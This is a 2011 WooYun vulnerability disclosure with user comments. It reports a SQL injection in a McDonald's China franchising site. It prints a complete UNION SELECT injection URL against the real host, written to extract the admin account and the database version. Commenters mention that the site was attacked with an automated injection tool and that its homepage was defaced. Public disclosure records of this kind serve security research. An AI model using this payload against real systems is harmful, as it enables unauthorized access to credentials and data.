当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2011-01249

漏洞标题：麦当劳分站注入漏洞

相关厂商：麦当劳

漏洞作者： 歌颂

提交时间：2011-01-28 16:46

修复时间：2011-01-28 17:56

公开时间：2011-01-28 17:56

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2011-01-28： 积极联系厂商并且等待厂商认领中，细节不对外公开
2011-01-28： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

程序未对参数进行过滤，导致注入漏洞

详细说明：

注入直接爆出管理帐号密码，
http://franchising.mcdonalds.com.cn/cn/faq_info.aspx?id=21%20and%201=2%20union%20all%20select%201,2,3,4,5,6,user,@@version%20from%20Whir_U_Cjwt
接着你懂的~

漏洞证明：

http://franchising.mcdonalds.com.cn/1.txt

修复方案：

深入过滤！

版权声明：转载请注明来源 歌颂@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：13 (WooYun评价)

漏洞评价：

评论

  1. 2011-01-28 18:45 | 0x0F ( 普通白帽子 | Rank:231 漏洞数:60 | 尖刀安全 (JDSec.Com).......................)

    据我所知 此洞还被用啊D搞过。额 有个D99_CMD这样个表

  2. 2011-01-28 18:46 | 0x0F ( 普通白帽子 | Rank:231 漏洞数:60 | 尖刀安全 (JDSec.Com).......................)

    麦当劳叔叔. 不好意思.改错了首页!! 抱歉!!! By:冰魂! 这个首页 太牛逼了

  3. 2011-01-28 20:16 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    典型的入侵手段

  4. 2011-01-28 23:06 | 蚊虫 ( 实习白帽子 | Rank:36 漏洞数:12 | 我装逼这么牛可还是没妞喜欢我)

    膜拜歌颂.....

  5. 2011-01-29 19:52 | Snow陈伦 ( 路人 | Rank:6 漏洞数:2 | 闷骚的家伙，何处都是你的战场。)

    呵呵 好明显 和谐

  6. 2011-01-30 01:07 | Vi0lent ( 普通白帽子 | Rank:131 漏洞数:14 | hello~)

    这个点我老早找到了-。-咱技术不行 没深入

  7. 2011-01-30 09:27 | h4ck3a ( 路人 | 还没有发布任何漏洞 )

    这个在反馈有什么意思呢？难怪被拒绝！

  8. 2011-01-30 14:23 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @h4ck3a这种手法的积累对于其他厂商也是很有价值的 联系的时候很多厂商可能缺乏负责人呢

  9. 2011-02-02 15:08 | 歌颂 ( 实习白帽子 | Rank:36 漏洞数:5 | #1024)

    我发过邮件给官方了，官方只说谢谢您的提交！